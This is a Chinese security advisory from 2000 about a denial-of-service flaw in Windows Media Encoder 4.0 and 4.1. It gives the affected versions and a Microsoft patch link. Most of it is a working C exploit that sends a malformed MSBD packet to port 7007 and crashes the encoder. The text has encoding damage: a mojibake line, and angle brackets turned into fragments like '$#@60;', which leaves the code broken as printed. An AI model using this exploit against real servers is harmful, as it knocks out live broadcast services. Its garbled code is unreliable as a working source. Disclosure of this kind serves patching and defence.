Media Encoder的特殊格式请求漏洞

(2000-06-03 00:00 )(不详 )(京九网联 )
导读-- Windows Media Encoder一个Windows Media 工具,它采用了Windows Media技术.在Windows NT和Windows 2000上.......
┒捶⒉际奔洌?2000-6-1 9:26:00
漏 洞 描 述:

Windows Media Encoder一个Windows Media 工具,它采用了Windows Media技术.在Windows NT和Windows 2000上,windows Media Encode把数字内容转换成Windows Media格式.当请求一个具有特殊格式的编码,将会使转送中断。这个漏洞会影响那些提供即时广播的Media流供应者,当然它不会使机器当机,也不会获得管理员的权限。
受影响的版本:
- Microsoft Windows Media Encoder 4.0
- Microsoft Windows Media Encoder 4.1

漏洞检测程序如下:

/*
*
* Media Streaming Broadcast Distribution (MSBD)
* Denial of Service Attack
*
* (C) 2000 Kit Knox $#@60;kit@rootshell.com$#@62; - Public Release: 05/31/00
*
* Causes the Windows Media Encoder to crash with a "Runtime Error!"
*
* "NSREX caused an invalid page fault in module MFC42.DLL at 0177:5f4012a1".
*
* Tested on version 4.1.0.3920 file "NsRex.exe" 998KB 1/11/00.
*
* Official Microsoft patch is available :
*
* http://www.microsoft.com/technet/security/bulletin/ms00-038.asp
*
* Thanks to Microsoft and the WMT group for their prompt attention to this
* matter.
*
*/

#include $#@60;stdio.h$#@62;
#include $#@60;netinet/in.h$#@62;
#include $#@60;sys/types.h$#@62;
#include $#@60;sys/socket.h$#@62;
#include $#@60;netdb.h$#@62;
#include $#@60;arpa/inet.h$#@62;
#include $#@60;string.h$#@62;
#include $#@60;unistd.h$#@62;

char bogus_msbd_packet1[] = {
0x4d, 0x53, 0x42, 0x20, 0x06, 0x01, 0x07, 0x00, 0x24, 0x00, 0x00, 0x40,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x4e, 0x00,
0x65, 0x00, 0x74, 0x00, 0x00, 0x50, 0x53, 0x00, 0x68, 0x00, 0x6f, 0x00,
0x77, 0x00, 0x00, 0x00
};

int sock;

int main(int argc, char *argv[]) {
struct hostent *he;
struct sockaddr_in sa;
char buf[1024];

if (argc != 2) {
fprintf(stderr, "usage: %s $# ;host/ip$#@62;\n", argv[0]);
return(-1);
}

sock = socket ( AF_INET, SOCK_STREAM, 0);
sa.sin_family = AF_INET;
sa.sin_port = htons(7007);
he = gethostbyname (argv[1]);
if (!he) {
if ((sa.sin_addr.s_addr = inet_addr(argv[1])) == INADDR_NONE)
return(-1);
} else {
bcopy(he-$#@62;h_addr, (struct in_addr *) &sa.sin_addr, he-$#@62;h_length);
}
if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) $#@60; 0) {
fprintf(stderr, "Fatal Error: Cant connect to Windows Media Encoder.\n");
return(-1);
}
write(sock, bogus_msbd_packet1, sizeof(bogus_msbd_packet1));
for (;;) {
read(sock, buf, sizeof(buf));
}
}

解 决 方 法:

从下面地址打补丁
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=21596
责编:
订阅新闻邮件) (推荐) (打印) (关闭页面) (至顶) (我对此感兴趣
相关文章
笔名:
请您注意:

 遵守国家有关法律、法规,尊重网上道德,承担一切因您的行为而直接或间接引起的法律责任。

 天极网拥有管理笔名和留言的一切权利。